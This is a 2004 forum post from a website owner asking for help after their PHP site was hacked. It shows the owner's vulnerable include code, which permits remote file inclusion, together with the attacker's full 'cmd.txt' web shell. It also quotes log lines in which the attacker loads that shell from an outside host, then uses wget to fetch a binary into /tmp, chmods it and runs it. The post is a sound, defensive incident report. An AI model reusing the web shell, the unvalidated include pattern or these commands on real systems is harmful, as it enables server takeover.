Hello ppl,
because this is my first post in 2004 I wish you all a Happy New Year :p .
Last night one of my site has been hacked 🙁 , today I downloaded the logs from the server and carefuly I searched for something, first it was the time since my site it's not working, I found it and it was since 23:34, this is after on hour of work for the hacker , i saw first acces of that hacker at 22:26 .
I made my site using include function, so I will explain in few words how it works,
<?
if($page == ''){
include("main.php");
}
elseif($page == 'inscris'){
include("$page.php");
include("main.php");
}
else{
include("$page.php");
}
?>
You can understand how i've done this, so if somebody enters in index.php the $page variable is null and it includes the main.php file and so on ... all the site is made using index.php file, so if I want to see another page from my site i simply acces index.php?page=another_page and it will include this file in the index file.
Now I ask you to make me understand how this works, because using this file the hacker had changed my index.php file to index_old.php and inserted a new index.php file and a picture in the root folder.
this is the content of cmd.txt
</center><font size="2"><pre>-
<?
// cmd.txt by Havenard
if (isset($chdir)) @chdir($chdir);
ob_start();
system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
$output = ob_get_contents();
ob_end_clean();
if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));
?>
-</pre>
now I will paste the urls that the hacker used
[04/Jan/2004:22:26:08 -0600] "GET /stylesheet.css HTTP/1.1" 200 3530 "http://www.grafitti.ro/?page=http://raulll0690.tripod.com/cmd.txt?&cmd=id;uname%20-a" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
[04/Jan/2004:22:26:08 -0600] "GET /?page=http://raulll0690.tripod.com/cmd.txt?&cmd=id;uname%20-a HTTP/1.1" 200 17037 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
...
GET /?page=http://raulll0690.tripod.com/cmd.txt?&cmd=ls
http://www.grafitti.ro/?page=http://raulll0690.tripod.com/cmd.txt?&cmd=id;uname%20-a
/?page=http://raulll0690.tripod.com/cmd.txt?&cmd=touch%20a
/?page=http://raulll0690.tripod.com/cmd.txt?&cmd=cd%20/tmp;ls
/?page=http://raulll0690.tripod.com/cmd.txt?&cmd=cd%20/tmp;wget%20www.drwxr.hpg.ig.com.br/cgi
/?page=http://raulll0690.tripod.com/cmd.txt?&cmd=cd%20/tmp;cat%20horde.log
/?page=http://raulll0690.tripod.com/cmd.txt?&cmd=cd%20/tmp;chmod%20777%20cgi;./cgi
/?page=http://raulll0690.tripod.com/cmd.txt?&cmd=cd%20/tmp;wget%20www.drwxr.hpg.ig.com.br/cgi
/?page=http://raulll0690.tripod.com/cmd.txt?&cmd=cd%20/tmp;wget%20www.drwxr.hpg.ig.com.br/cgi
/?page=http://raulll0690.tripod.com/cmd.txt?&cmd=pwd
I saw here alot of linux comands cd, ls, wget, chmod .... PWD 🙁
and I saw that he wrote this to : horde.log ... horde is an webmail client which my host offers me, there are 3 webmail clients. Is there something wrong with that webmail client ??
If you access this adress www.drwxr.hpg.ig.com.br/cgi you will seeonly this ELF , I found on my root folder a file called kmod which has this text in it 🙁
Can somebody tell me how I should verify the $page variable and what exactly did this hacker ??
10x in advance
see ya all